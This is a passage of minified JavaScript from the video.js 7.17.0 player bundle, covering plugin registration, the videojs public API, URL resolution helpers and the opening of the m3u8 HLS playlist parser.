PluginSubClass.prototype.name=name,function(){triggerSetupEvent(this,{name:name,plugin:PluginSubClass,instance:null},!0);for(var _len=arguments.length,args=new Array(_len),_key=0;_key&lt;_len;_key++)args[_key]=arguments[_key];var instance=construct(PluginSubClass,[this].concat(args));return this[name]=function(){return instance},triggerSetupEvent(this,instance.getEventHash()),instance}},Plugin=function(){function Plugin(player){if(this.constructor===Plugin)throw new Error(&quot;Plugin must be sub-classed; not directly instantiated.&quot;);this.player=player,this.log||(this.log=this.player.log.createLogger(this.name)),evented(this),delete this.trigger,stateful(this,this.constructor.defaultState),markPluginAsActive(player,this.name),this.dispose=this.dispose.bind(this),player.on(&quot;dispose&quot;,this.dispose)}var _proto=Plugin.prototype;return _proto.version=function(){return this.constructor.VERSION},_proto.getEventHash=function(hash){return void 0===hash&amp;&amp;(hash={}),hash.name=this.name,hash.plugin=this.constructor,hash.instance=this,hash},_proto.trigger=function(event,hash){return void 0===hash&amp;&amp;(hash={}),trigger(this.eventBusEl_,event,this.getEventHash(hash))},_proto.handleStateChanged=function(e){},_proto.dispose=function(){var name=this.name,player=this.player;this.trigger(&quot;dispose&quot;),this.off(),player.off(&quot;dispose&quot;,this.dispose),player.activePlugins_[name]=!1,this.player=this.state=null,player[name]=createPluginFactory(name,pluginStorage[name])},Plugin.isBasic=function(plugin){var p=&quot;string&quot;==typeof plugin?getPlugin(plugin):plugin;return&quot;function&quot;==typeof p&amp;&amp;!Plugin.prototype.isPrototypeOf(p.prototype)},Plugin.registerPlugin=function(name,plugin){if(&quot;string&quot;!=typeof name)throw new Error(&#039;Illegal plugin name, &quot;&#039;+name+&#039;&quot;, must be a string, was &#039;+typeof name+&quot;.&quot;);if(pluginExists(name))log$1.warn(&#039;A plugin named &quot;&#039;+name+&#039;&quot; already exists. You may want to avoid re-registering plugins!&#039;);else if(Player.prototype.hasOwnProperty(name))throw new Error(&#039;Illegal plugin name, &quot;&#039;+name+&#039;&quot;, cannot share a name with an existing player method!&#039;);if(&quot;function&quot;!=typeof plugin)throw new Error(&#039;Illegal plugin for &quot;&#039;+name+&#039;&quot;, must be a function, was &#039;+typeof plugin+&quot;.&quot;);return pluginStorage[name]=plugin,&quot;plugin&quot;!==name&amp;&amp;(Plugin.isBasic(plugin)?Player.prototype[name]=function(name,plugin){var basicPluginWrapper=function(){triggerSetupEvent(this,{name:name,plugin:plugin,instance:null},!0);var instance=plugin.apply(this,arguments);return markPluginAsActive(this,name),triggerSetupEvent(this,{name:name,plugin:plugin,instance:instance}),instance};return Object.keys(plugin).forEach((function(prop){basicPluginWrapper[prop]=plugin[prop]})),basicPluginWrapper}(name,plugin):Player.prototype[name]=createPluginFactory(name,plugin)),plugin},Plugin.deregisterPlugin=function(name){if(&quot;plugin&quot;===name)throw new Error(&quot;Cannot de-register base plugin.&quot;);pluginExists(name)&amp;&amp;(delete pluginStorage[name],delete Player.prototype[name])},Plugin.getPlugins=function(names){var result;return void 0===names&amp;&amp;(names=Object.keys(pluginStorage)),names.forEach((function(name){var plugin=getPlugin(name);plugin&amp;&amp;((result=result||{})[name]=plugin)})),result},Plugin.getPluginVersion=function(name){var plugin=getPlugin(name);return plugin&amp;&amp;plugin.VERSION||&quot;&quot;},Plugin}();Plugin.getPlugin=getPlugin,Plugin.BASE_PLUGIN_NAME=&quot;plugin&quot;,Plugin.registerPlugin(&quot;plugin&quot;,Plugin),Player.prototype.usingPlugin=function(name){return!!this.activePlugins_&amp;&amp;!0===this.activePlugins_[name]},Player.prototype.hasPlugin=function(name){return!!pluginExists(name)};var inherits=function(subClass,superClass){if(&quot;function&quot;!=typeof superClass&amp;&amp;null!==superClass)throw new TypeError(&quot;Super expression must either be null or a function&quot;);subClass.prototype=Object.create(superClass&amp;&amp;superClass.prototype,{constructor:{value:subClass,writable:!0,configurable:!0}}),superClass&amp;&amp;setPrototypeOf(subClass,superClass)},normalizeId=function(id){return 0===id.indexOf(&quot;#&quot;)?id.slice(1):id};function videojs(id,options,ready){var player=videojs.getPlayer(id);if(player)return options&amp;&amp;log$1.warn(&#039;Player &quot;&#039;+id+&#039;&quot; is already initialised. Options will not be applied.&#039;),ready&amp;&amp;player.ready(ready),player;var el=&quot;string&quot;==typeof id?$(&quot;#&quot;+normalizeId(id)):id;if(!isEl(el))throw new TypeError(&quot;The element or ID supplied is not valid. (videojs)&quot;);el.ownerDocument.defaultView&amp;&amp;el.ownerDocument.body.contains(el)||log$1.warn(&quot;The element supplied is not included in the DOM&quot;),options=options||{},hooks(&quot;beforesetup&quot;).forEach((function(hookFunction){var opts=hookFunction(el,mergeOptions$3(options));isObject$1(opts)&amp;&amp;!Array.isArray(opts)?options=mergeOptions$3(options,opts):log$1.error(&quot;please return an object in beforesetup hooks&quot;)}));var PlayerComponent=Component$1.getComponent(&quot;Player&quot;);return player=new PlayerComponent(el,options,ready),hooks(&quot;setup&quot;).forEach((function(hookFunction){return hookFunction(player)})),player}if(videojs.hooks_=hooks_,videojs.hooks=hooks,videojs.hook=function(type,fn){hooks(type,fn)},videojs.hookOnce=function(type,fn){hooks(type,[].concat(fn).map((function(original){return function wrapper(){return removeHook(type,wrapper),original.apply(void 0,arguments)}})))},videojs.removeHook=removeHook,!0!==window.VIDEOJS_NO_DYNAMIC_STYLE&amp;&amp;isReal()){var style=$(&quot;.vjs-styles-defaults&quot;);if(!style){style=createStyleElement(&quot;vjs-styles-defaults&quot;);var head=$(&quot;head&quot;);head&amp;&amp;head.insertBefore(style,head.firstChild),setTextContent(style,&quot;\n      .video-js {\n        width: 300px;\n        height: 150px;\n      }\n\n      .vjs-fluid {\n        padding-top: 56.25%\n      }\n    &quot;)}}autoSetupTimeout(1,videojs),videojs.VERSION=&quot;7.17.0&quot;,videojs.options=Player.prototype.options_,videojs.getPlayers=function(){return Player.players},videojs.getPlayer=function(id){var tag,players=Player.players;if(&quot;string&quot;==typeof id){var nId=normalizeId(id),player=players[nId];if(player)return player;tag=$(&quot;#&quot;+nId)}else tag=id;if(isEl(tag)){var _tag=tag,_player=_tag.player,playerId=_tag.playerId;if(_player||players[playerId])return _player||players[playerId]}},videojs.getAllPlayers=function(){return Object.keys(Player.players).map((function(k){return Player.players[k]})).filter(Boolean)},videojs.players=Player.players,videojs.getComponent=Component$1.getComponent,videojs.registerComponent=function(name,comp){Tech.isTech(comp)&amp;&amp;log$1.warn(&quot;The &quot;+name+&quot; tech was registered as a component. It should instead be registered using videojs.registerTech(name, tech)&quot;),Component$1.registerComponent.call(Component$1,name,comp)},videojs.getTech=Tech.getTech,videojs.registerTech=Tech.registerTech,videojs.use=function(type,middleware){middlewares[type]=middlewares[type]||[],middlewares[type].push(middleware)},Object.defineProperty(videojs,&quot;middleware&quot;,{value:{},writeable:!1,enumerable:!0}),Object.defineProperty(videojs.middleware,&quot;TERMINATOR&quot;,{value:TERMINATOR,writeable:!1,enumerable:!0}),videojs.browser=browser,videojs.TOUCH_ENABLED=TOUCH_ENABLED,videojs.extend=function(superClass,subClassMethods){void 0===subClassMethods&amp;&amp;(subClassMethods={});var subClass=function(){superClass.apply(this,arguments)},methods={};for(var name in&quot;object&quot;==typeof subClassMethods?(subClassMethods.constructor!==Object.prototype.constructor&amp;&amp;(subClass=subClassMethods.constructor),methods=subClassMethods):&quot;function&quot;==typeof subClassMethods&amp;&amp;(subClass=subClassMethods),inherits(subClass,superClass),superClass&amp;&amp;(subClass.super_=superClass),methods)methods.hasOwnProperty(name)&amp;&amp;(subClass.prototype[name]=methods[name]);return subClass},videojs.mergeOptions=mergeOptions$3,videojs.bind=bind,videojs.registerPlugin=Plugin.registerPlugin,videojs.deregisterPlugin=Plugin.deregisterPlugin,videojs.plugin=function(name,plugin){return log$1.warn(&quot;videojs.plugin() is deprecated; use videojs.registerPlugin() instead&quot;),Plugin.registerPlugin(name,plugin)},videojs.getPlugins=Plugin.getPlugins,videojs.getPlugin=Plugin.getPlugin,videojs.getPluginVersion=Plugin.getPluginVersion,videojs.addLanguage=function(code,data){var _mergeOptions;return code=(&quot;&quot;+code).toLowerCase(),videojs.options.languages=mergeOptions$3(videojs.options.languages,((_mergeOptions={})[code]=data,_mergeOptions)),videojs.options.languages[code]},videojs.log=log$1,videojs.createLogger=createLogger,videojs.createTimeRange=videojs.createTimeRanges=createTimeRanges,videojs.formatTime=formatTime,videojs.setFormatTime=function(customImplementation){implementation=customImplementation},videojs.resetFormatTime=function(){implementation=defaultImplementation},videojs.parseUrl=parseUrl,videojs.isCrossOrigin=isCrossOrigin,videojs.EventTarget=EventTarget$2,videojs.on=on,videojs.one=one,videojs.off=off,videojs.trigger=trigger,videojs.xhr=lib,videojs.TextTrack=TextTrack,videojs.AudioTrack=AudioTrack,videojs.VideoTrack=VideoTrack,[&quot;isEl&quot;,&quot;isTextNode&quot;,&quot;createEl&quot;,&quot;hasClass&quot;,&quot;addClass&quot;,&quot;removeClass&quot;,&quot;toggleClass&quot;,&quot;setAttributes&quot;,&quot;getAttributes&quot;,&quot;emptyEl&quot;,&quot;appendContent&quot;,&quot;insertContent&quot;].forEach((function(k){videojs[k]=function(){return log$1.warn(&quot;videojs.&quot;+k+&quot;() is deprecated; use videojs.dom.&quot;+k+&quot;() instead&quot;),Dom[k].apply(null,arguments)}})),videojs.computedStyle=computedStyle,videojs.dom=Dom,videojs.url=Url,videojs.defineLazyProperty=defineLazyProperty,videojs.addLanguage(&quot;en&quot;,{&quot;Non-Fullscreen&quot;:&quot;Exit Fullscreen&quot;});var urlToolkit=createCommonjsModule((function(module,exports){var URL_REGEX,FIRST_SEGMENT_REGEX,SLASH_DOT_REGEX,SLASH_DOT_DOT_REGEX,URLToolkit;URL_REGEX=/^((?:[a-zA-Z0-9+\-.]+:)?)(\/\/[^\/?#]*)?((?:[^\/?#]*\/)*[^;?#]*)?(;[^?#]*)?(\?[^#]*)?(#[^]*)?$/,FIRST_SEGMENT_REGEX=/^([^\/?#]*)([^]*)$/,SLASH_DOT_REGEX=/(?:\/|^)\.(?=\/)/g,SLASH_DOT_DOT_REGEX=/(?:\/|^)\.\.\/(?!\.\.\/)[^\/]*(?=\/)/g,URLToolkit={buildAbsoluteURL:function(baseURL,relativeURL,opts){if(opts=opts||{},baseURL=baseURL.trim(),!(relativeURL=relativeURL.trim())){if(!opts.alwaysNormalize)return baseURL;var basePartsForNormalise=URLToolkit.parseURL(baseURL);if(!basePartsForNormalise)throw new Error(&quot;Error trying to parse base URL.&quot;);return basePartsForNormalise.path=URLToolkit.normalizePath(basePartsForNormalise.path),URLToolkit.buildURLFromParts(basePartsForNormalise)}var relativeParts=URLToolkit.parseURL(relativeURL);if(!relativeParts)throw new Error(&quot;Error trying to parse relative URL.&quot;);if(relativeParts.scheme)return opts.alwaysNormalize?(relativeParts.path=URLToolkit.normalizePath(relativeParts.path),URLToolkit.buildURLFromParts(relativeParts)):relativeURL;var baseParts=URLToolkit.parseURL(baseURL);if(!baseParts)throw new Error(&quot;Error trying to parse base URL.&quot;);if(!baseParts.netLoc&amp;&amp;baseParts.path&amp;&amp;&quot;/&quot;!==baseParts.path[0]){var pathParts=FIRST_SEGMENT_REGEX.exec(baseParts.path);baseParts.netLoc=pathParts[1],baseParts.path=pathParts[2]}baseParts.netLoc&amp;&amp;!baseParts.path&amp;&amp;(baseParts.path=&quot;/&quot;);var builtParts={scheme:baseParts.scheme,netLoc:relativeParts.netLoc,path:null,params:relativeParts.params,query:relativeParts.query,fragment:relativeParts.fragment};if(!relativeParts.netLoc&amp;&amp;(builtParts.netLoc=baseParts.netLoc,&quot;/&quot;!==relativeParts.path[0]))if(relativeParts.path){var baseURLPath=baseParts.path,newPath=baseURLPath.substring(0,baseURLPath.lastIndexOf(&quot;/&quot;)+1)+relativeParts.path;builtParts.path=URLToolkit.normalizePath(newPath)}else builtParts.path=baseParts.path,relativeParts.params||(builtParts.params=baseParts.params,relativeParts.query||(builtParts.query=baseParts.query));return null===builtParts.path&amp;&amp;(builtParts.path=opts.alwaysNormalize?URLToolkit.normalizePath(relativeParts.path):relativeParts.path),URLToolkit.buildURLFromParts(builtParts)},parseURL:function(url){var parts=URL_REGEX.exec(url);return parts?{scheme:parts[1]||&quot;&quot;,netLoc:parts[2]||&quot;&quot;,path:parts[3]||&quot;&quot;,params:parts[4]||&quot;&quot;,query:parts[5]||&quot;&quot;,fragment:parts[6]||&quot;&quot;}:null},normalizePath:function(path){for(path=path.split(&quot;&quot;).reverse().join(&quot;&quot;).replace(SLASH_DOT_REGEX,&quot;&quot;);path.length!==(path=path.replace(SLASH_DOT_DOT_REGEX,&quot;&quot;)).length;);return path.split(&quot;&quot;).reverse().join(&quot;&quot;)},buildURLFromParts:function(parts){return parts.scheme+parts.netLoc+parts.path+parts.params+parts.query+parts.fragment}},module.exports=URLToolkit})),Stream=function(){function Stream(){this.listeners={}}var _proto=Stream.prototype;return _proto.on=function(type,listener){this.listeners[type]||(this.listeners[type]=[]),this.listeners[type].push(listener)},_proto.off=function(type,listener){if(!this.listeners[type])return!1;var index=this.listeners[type].indexOf(listener);return this.listeners[type]=this.listeners[type].slice(0),this.listeners[type].splice(index,1),index&gt;-1},_proto.trigger=function(type){var callbacks=this.listeners[type];if(callbacks)if(2===arguments.length)for(var length=callbacks.length,i=0;i&lt;length;++i)callbacks[i].call(this,arguments[1]);else for(var args=Array.prototype.slice.call(arguments,1),_length=callbacks.length,_i=0;_i&lt;_length;++_i)callbacks[_i].apply(this,args)},_proto.dispose=function(){this.listeners={}},_proto.pipe=function(destination){this.on(&quot;data&quot;,(function(data){destination.push(data)}))},Stream}();function decodeB64ToUint8Array(b64Text){for(var s,decodedString=(s=b64Text,window.atob?window.atob(s):Buffer.from(s,&quot;base64&quot;).toString(&quot;binary&quot;)),array=new Uint8Array(decodedString.length),i=0;i&lt;decodedString.length;i++)array[i]=decodedString.charCodeAt(i);return array}
/*! @name m3u8-parser @version 4.7.0 @license Apache-2.0 */var LineStream=function(_Stream){function LineStream(){var _this;return(_this=_Stream.call(this)||this).buffer=&quot;&quot;,_this}return inheritsLoose(LineStream,_Stream),LineStream.prototype.push=function(data){var nextNewline;for(this.buffer+=data,nextNewline=this.buffer.indexOf(&quot;\n&quot;);nextNewline&gt;-1;nextNewline=this.buffer.indexOf(&quot;\n&quot;))this.trigger(&quot;data&quot;,this.buffer.substring(0,nextNewline)),this.buffer=this.buffer.substring(nextNewline+1)},LineStream}(Stream),TAB=String.fromCharCode(9),parseByterange=function(byterangeString){var match=/([0-9.]*)?@?([0-9.]*)?/.exec(byterangeString||&quot;&quot;),result={};return match[1]&amp;&amp;(result.length=parseInt(match[1],10)),match[2]&amp;&amp;(result.offset=parseInt(match[2],10)),result},parseAttributes$1=function(attributes){for(var attr,attrs=attributes.split(new RegExp(&#039;(?:^|,)((?:[^=]*)=(?:&quot;[^&quot;]*&quot;|[^,]*))&#039;)),result={},i=attrs.length;i--;)&quot;&quot;!==attrs[i]&amp;&amp;((attr=/([^=]*)=(.*)/.exec(attrs[i]).slice(1))[0]=attr[0].replace(/^\s+|\s+$/g,&quot;&quot;),attr[1]=attr[1].replace(/^\s+|\s+$/g,&quot;&quot;),attr[1]=attr[1].replace(/^[&#039;&quot;](.*)[&#039;&quot;]$/g,&quot;$1&quot;),result[attr[0]]=attr[1]);return result},ParseStream=function(_Stream){function ParseStream(){var _this;return(_this=_Stream.call(this)||this).customParsers=[],_this.tagMappers=[],_this}inheritsLoose(ParseStream,_Stream);var _proto=ParseStream.prototype;return _proto.push=function(line){var match,event,_this2=this;0!==(line=line.trim()).length&amp;&amp;(&quot;#&quot;===line[0]?this.tagMappers.reduce((function(acc,mapper){var mappedLine=mapper(line);return mappedLine===line?acc:acc.concat([mappedLine])}),[line]).forEach((function(newLine){for(var i=0;i&lt;_this2.customParsers.length;i++)if(_this2.customParsers[i].call(_this2,newLine))return;if(0===newLine.indexOf(&quot;#EXT&quot;))if(newLine=newLine.replace(&quot;\r&quot;,&quot;&quot;),match=/^#EXTM3U/.exec(newLine))_this2.trigger(&quot;data&quot;,{type:&quot;tag&quot;,tagType:&quot;m3u&quot;});else{if(match=/^#EXTINF:?([0-9\.]*)?,?(.*)?$/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;inf&quot;},match[1]&amp;&amp;(event.duration=parseFloat(match[1])),match[2]&amp;&amp;(event.title=match[2]),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-TARGETDURATION:?([0-9.]*)?/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;targetduration&quot;},match[1]&amp;&amp;(event.duration=parseInt(match[1],10)),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-VERSION:?([0-9.]*)?/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;version&quot;},match[1]&amp;&amp;(event.version=parseInt(match[1],10)),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-MEDIA-SEQUENCE:?(\-?[0-9.]*)?/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;media-sequence&quot;},match[1]&amp;&amp;(event.number=parseInt(match[1],10)),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-DISCONTINUITY-SEQUENCE:?(\-?[0-9.]*)?/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;discontinuity-sequence&quot;},match[1]&amp;&amp;(event.number=parseInt(match[1],10)),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-PLAYLIST-TYPE:?(.*)?$/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;playlist-type&quot;},match[1]&amp;&amp;(event.playlistType=match[1]),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-BYTERANGE:?(.*)?$/.exec(newLine))return event=_extends_1(parseByterange(match[1]),{type:&quot;tag&quot;,tagType:&quot;byterange&quot;}),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-ALLOW-CACHE:?(YES|NO)?/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;allow-cache&quot;},match[1]&amp;&amp;(event.allowed=!/NO/.test(match[1])),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-MAP:?(.*)$/.exec(newLine)){if(event={type:&quot;tag&quot;,tagType:&quot;map&quot;},match[1]){var attributes=parseAttributes$1(match[1]);attributes.URI&amp;&amp;(event.uri=attributes.URI),attributes.BYTERANGE&amp;&amp;(event.byterange=parseByterange(attributes.BYTERANGE))}_this2.trigger(&quot;data&quot;,event)}else if(match=/^#EXT-X-STREAM-INF:?(.*)$/.exec(newLine)){if(event={type:&quot;tag&quot;,tagType:&quot;stream-inf&quot;},match[1]){if(event.attributes=parseAttributes$1(match[1]),event.attributes.RESOLUTION){var split=event.attributes.RESOLUTION.split(&quot;x&quot;),resolution={};split[0]&amp;&amp;(resolution.width=parseInt(split[0],10)),split[1]&amp;&amp;(resolution.height=parseInt(split[1],10)),event.attributes.RESOLUTION=resolution}event.attributes.BANDWIDTH&amp;&amp;(event.attributes.BANDWIDTH=parseInt(event.attributes.BANDWIDTH,10)),event.attributes[&quot;PROGRAM-ID&quot;]&amp;&amp;(event.attributes[&quot;PROGRAM-ID&quot;]=parseInt(event.attributes[&quot;PROGRAM-ID&quot;],10))}_this2.trigger(&quot;data&quot;,event)}else{if(match=/^#EXT-X-MEDIA:?(.*)$/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;media&quot;},match[1]&amp;&amp;(event.attributes=parseAttributes$1(match[1])),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-ENDLIST/.exec(newLine))_this2.trigger(&quot;data&quot;,{type:&quot;tag&quot;,tagType:&quot;endlist&quot;});else if(match=/^#EXT-X-DISCONTINUITY/.exec(newLine))_this2.trigger(&quot;data&quot;,{type:&quot;tag&quot;,tagType:&quot;discontinuity&quot;});else{if(match=/^#EXT-X-PROGRAM-DATE-TIME:?(.*)$/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;program-date-time&quot;},match[1]&amp;&amp;(event.dateTimeString=match[1],event.dateTimeObject=new Date(match[1])),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-KEY:?(.*)$/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;key&quot;},match[1]&amp;&amp;(event.attributes=parseAttributes$1(match[1]),event.attributes.IV&amp;&amp;(&quot;0x&quot;===event.attributes.IV.substring(0,2).toLowerCase()&amp;&amp;(event.attributes.IV=event.attributes.IV.substring(2)),event.attributes.IV=event.attributes.IV.match(/.{8}/g),event.attributes.IV[0]=parseInt(event.attributes.IV[0],16),event.attributes.IV[1]=parseInt(event.attributes.IV[1],16),event.attributes.IV[2]=parseInt(event.attributes.IV[2],16),event.attributes.IV[3]=parseInt(event.attributes.IV[3],16),event.attributes.IV=new Uint32Array(event.attributes.IV))),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-START:?(.*)$/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;start&quot;},match[1]&amp;&amp;(event.attributes=parseAttributes$1(match[1]),event.attributes[&quot;TIME-OFFSET&quot;]=parseFloat(event.attributes[&quot;TIME-OFFSET&quot;]),event.attributes.PRECISE=/YES/.test(event.attributes.PRECISE)),void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-CUE-OUT-CONT:?(.*)?$/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;cue-out-cont&quot;},match[1]?event.data=match[1]:event.data=&quot;&quot;,void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-CUE-OUT:?(.*)?$/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;cue-out&quot;},match[1]?event.data=match[1]:event.data=&quot;&quot;,void _this2.trigger(&quot;data&quot;,event);if(match=/^#EXT-X-CUE-IN:?(.*)?$/.exec(newLine))return event={type:&quot;tag&quot;,tagType:&quot;cue-in&quot;},match[1]?event.data=match[1]:event.data=&quot;&quot;,void _this2.trigger(&quot;data&quot;,event);if((match=/^#EXT-X-SKIP:(.*)$/.exec(newLine))&amp;&amp;match[1])return(event={type:&quot;tag&quot;,tagType:&quot;skip&quot;}).attributes=parseAttributes$1(match[1]),event.attributes.hasOwnProperty(&quot;SKIPPED-SEGMENTS&quot;)&amp;&amp;(event.attributes[&quot;SKIPPED-SEGMENTS&quot;]=parseInt(event.attributes[&quot;SKIPPED-SEGMENTS&quot;],10)),event.attributes.hasOwnProperty(&quot;RECENTLY-REMOVED-DATERANGES&quot;)&amp;&amp;(event.attributes[&quot;RECENTLY-REMOVED-DATERANGES&quot;]=event.attributes[&quot;RECENTLY-REMOVED-DATERANGES&quot;].split(TAB)),void _this2.trigger(&quot;data&quot;,event);if((match=/^#EXT-X-PART:(.*)$/.exec(newLine))&amp;&amp;match[1])return(event={type:&quot;tag&quot;,tagType:&quot;part&quot;}).attributes=parseAttributes$1(match[1]),[&quot;DURATION&quot;].forEach((function(key){event.attributes.hasOwnProperty(key)&amp;&amp;(event.attributes[key]=parseFloat(event.attributes[key]))})),[&quot;INDEPENDENT&quot;,&quot;GAP&quot;].forEach((function(key){event.attributes.hasOwnProperty(key)&amp;&amp;(event.attributes[key]=/YES/.test(event.attributes[key]))})),event.attributes.hasOwnProperty(&quot;BYTERANGE&quot;)&amp;&amp;(event.attributes.byterange=parseByterange(event.attributes.BYTERANGE)),void _this2.trigger(&quot;data&quot;,event);if((match=/^#EXT-X-SERVER-CONTROL:(.*)$/.exec(newLine))&amp;&amp;match[1])return(event={type:&quot;tag&quot;,tagType:&quot;server-control&quot;}).attributes=parseAttributes$1(match[1]),[&quot;CAN-SKIP-UNTIL&quot;,&quot;PART-HOLD-BACK&quot;,&quot;HOLD-BACK&quot;].forEach((function(key){event.attributes.hasOwnProperty(key)&amp;&amp;(event.attributes[key]=parseFloat(event.attributes[key]))})),[&quot;CAN-SKIP-DATERANGES&quot;,&quot;CAN-BLOCK-RELOAD&quot;].forEach((function(key){event.attributes.hasOwnProperty(key)&amp;&amp;(event.attributes[key]=/YES/.test(event.attributes[key]))})),void _this2.trigger(&quot;data&quot;,event);if((match=/^#EXT-X-PART-INF:(.*)$/.exec(newLine))&amp;&amp;match[1])return(event={type:&quot;tag&quot;,tagType:&quot;part-inf&quot;}).attributes=parseAttributes$1(match[1]),[&quot;PART-TARGET&quot;].forEach((function(key){event.attributes.hasOwnProperty(key)&amp;&amp;(event.attributes[key]=parseFloat(event.attributes[key]))})),void _this2.trigger(&quot;data&quot;,event);if((match=/^#EXT-X-PRELOAD-HINT:(.*)$/.exec(newLine))&amp;&amp;match[1])return(event={type:&quot;tag&quot;,tagType:&quot;preload-hint&quot;}).attributes=parseAttributes$1(match[1]),[&quot;BYTERANGE-START&quot;,&quot;BYTERANGE-LENGTH&quot;].forEach((function(key){if(event.attributes.hasOwnProperty(key)){event.attributes[key]=parseInt(event.attributes[key],10);var subkey=&quot;BYTERANGE-LENGTH&quot;===key?&quot;length&quot;:&quot;offset&quot;;event.attributes.byterange=event.attributes.byterange||{},event.attributes.byterange[subkey]=event.attributes[key],delete event.attributes[key]}})),void _this2.trigger(&quot;data&quot;,event);if((match=/^#EXT-X-RENDITION-REPORT:(.*)$/.exec(newLine))&amp;&amp;match[1])return(event={type:&quot;tag&quot;,tagType:&quot;rendition-report&quot;}).attributes=parseAttributes$1(match[1]),[&quot;LAST-MSN&quot;,&quot;LAST-PART&quot;].forEach((function(key){event.attributes.hasOwnProperty(key)&amp;&amp;(event.attributes[key]=parseInt(event.attributes[key],10))})),void _this2.trigger(&quot;data&quot;,event);_this2.trigger(&quot;data&quot;,{type:&quot;tag&quot;,data:newLine.slice(4)})}}}else _this2.trigger(&quot;data&quot;,{type:&quot;comment&quot;,text:newLine.slice(1)})})):this.trigger(&quot;data&quot;,{type:&quot;uri&quot;,uri:line}))},_proto.addParser=function(_ref){var _this3=this,expression=_ref.expression,customType=_ref.customType,dataParser=_ref.dataParser,segment=_ref.segment;&quot;function&quot;!=typeof dataParser&amp;&amp;(dataParser=function(line){return line}),this.customParsers.push((function(line){if(expression.exec(line))return _this3.trigger(&quot;data&quot;,{type:&quot;custom&quot;,data:dataParser(line),customType:customType,segment:segment}),!0}))},_proto.addTagMapper=function(_ref2){var expression=_ref2.expression,map=_ref2.map;this.tagMappers.push((function(line){return expression.test(line)?map(line):line}))},ParseStream}(Stream),camelCaseKeys=function(attributes){var result={};return Object.keys(attributes).forEach((function(key){var str;result[(str=key,str.toLowerCase().replace(/-(\w)/g,(function(a){return a[1].toUpperCase()})))]=attributes[key]})),result},setHoldBack=function(manifest){var serverControl=manifest.serverControl,targetDuration=manifest.targetDuration,partTargetDuration=manifest.partTargetDuration;if(serverControl){var tag=&quot;#EXT-X-SERVER-CONTROL&quot;,hb=&quot;holdBack&quot;,phb=&quot;partHoldBack&quot;,minTargetDuration=targetDuration&amp;&amp;3*targetDuration,minPartDuration=partTargetDuration&amp;&amp;2*partTargetDuration;targetDuration&amp;&amp;!serverControl.hasOwnProperty(hb)&amp;&amp;(serverControl[hb]=minTargetDuration,this.trigger(&quot;info&quot;,{message:tag+&quot; defaulting HOLD-BACK to targetDuration * 3 (&quot;+minTargetDuration+&quot;).&quot;})),minTargetDuration&amp;&amp;serverControl[hb]&lt;minTargetDuration&amp;&amp;(this.trigger(&quot;warn&quot;,{message:tag+&quot; clamping HOLD-BACK (&quot;+serverControl[hb]+&quot;) to targetDuration * 3 (&quot;+minTargetDuration+&quot;)&quot;}),serverControl[hb]=minTargetDuration),partTargetDuration&amp;&amp;!serverControl.hasOwnProperty(phb)&amp;&amp;(serverControl[phb]=3*partTargetDuration,this.trigger(&quot;info&quot;,{message:tag+&quot; defaulting PART-HOLD-BACK to partTargetDuration * 3 (&quot;+serverControl[phb]+&quot;).&quot;})),partTargetDuration&amp;&amp;serverControl[phb]&lt;minPartDuration&amp;&amp;(this.trigger(&quot;warn&quot;,{message:tag+&quot; clamping PART-HOLD-BACK (&quot;+serverControl[phb]+&quot;) to partTargetDuration * 2 (&quot;+minPartDuration+&quot;).&quot;}),serverControl[phb]=minPartDuration)}},Parser=function(_Stream){function Parser(){var _this;(_this=_Stream.call(this)||this).lineStream=new LineStream,_this.parseStream=new ParseStream,_this.lineStream.pipe(_this.parseStream);var currentMap,_key,self=assertThisInitialized(_this),uris=[],currentUri={},hasParts=!1,noop=function(){},defaultMediaGroups={AUDIO:{},VIDEO:{},&quot;CLOSED-CAPTIONS&quot;:{},SUBTITLES:{}},currentTimeline=0;_this.manifest={allowCache:!0,discontinuityStarts:[],segments:[]};var lastByterangeEnd=0,lastPartByterangeEnd=0;return _this.on(&quot;end&quot;,(function(){currentUri.uri||!currentUri.parts&amp;&amp;!currentUri.preloadHints||(!currentUri.map&amp;&amp;currentMap&amp;&amp;(currentUri.map=currentMap),!currentUri.key&amp;&amp;_key&amp;&amp;(currentUri.key=_key),currentUri.timeline||&quot;number&quot;!=typeof currentTimeline||(currentUri.timeline=currentTimeline),_this.manifest.preloadSegment=currentUri)})),_this.parseStream.on(&quot;data&quot;,(function(entry){var mediaGroup,rendition;({tag:function(){({version:function(){entry.version&amp;&amp;(this.manifest.version=entry.version)},&quot;allow-cache&quot;:function(){this.manifest.allowCache=entry.allowed,&quot;allowed&quot;in entry||(this.trigger(&quot;info&quot;,{message:&quot;defaulting allowCache to YES&quot;}),this.manifest.allowCache=!0)},byterange:function(){var byterange={};&quot;length&quot;in entry&amp;&amp;(currentUri.byterange=byterange,byterange.length=entry.length,&quot;offset&quot;in entry||(entry.offset=lastByterangeEnd)),&quot;offset&quot;in entry&amp;&amp;(currentUri.byterange=byterange,byterange.offset=entry.offset),lastByterangeEnd=byterange.offset+byterange.length},endlist:function(){this.manifest.endList=!0},inf:function(){&quot;mediaSequence&quot;in 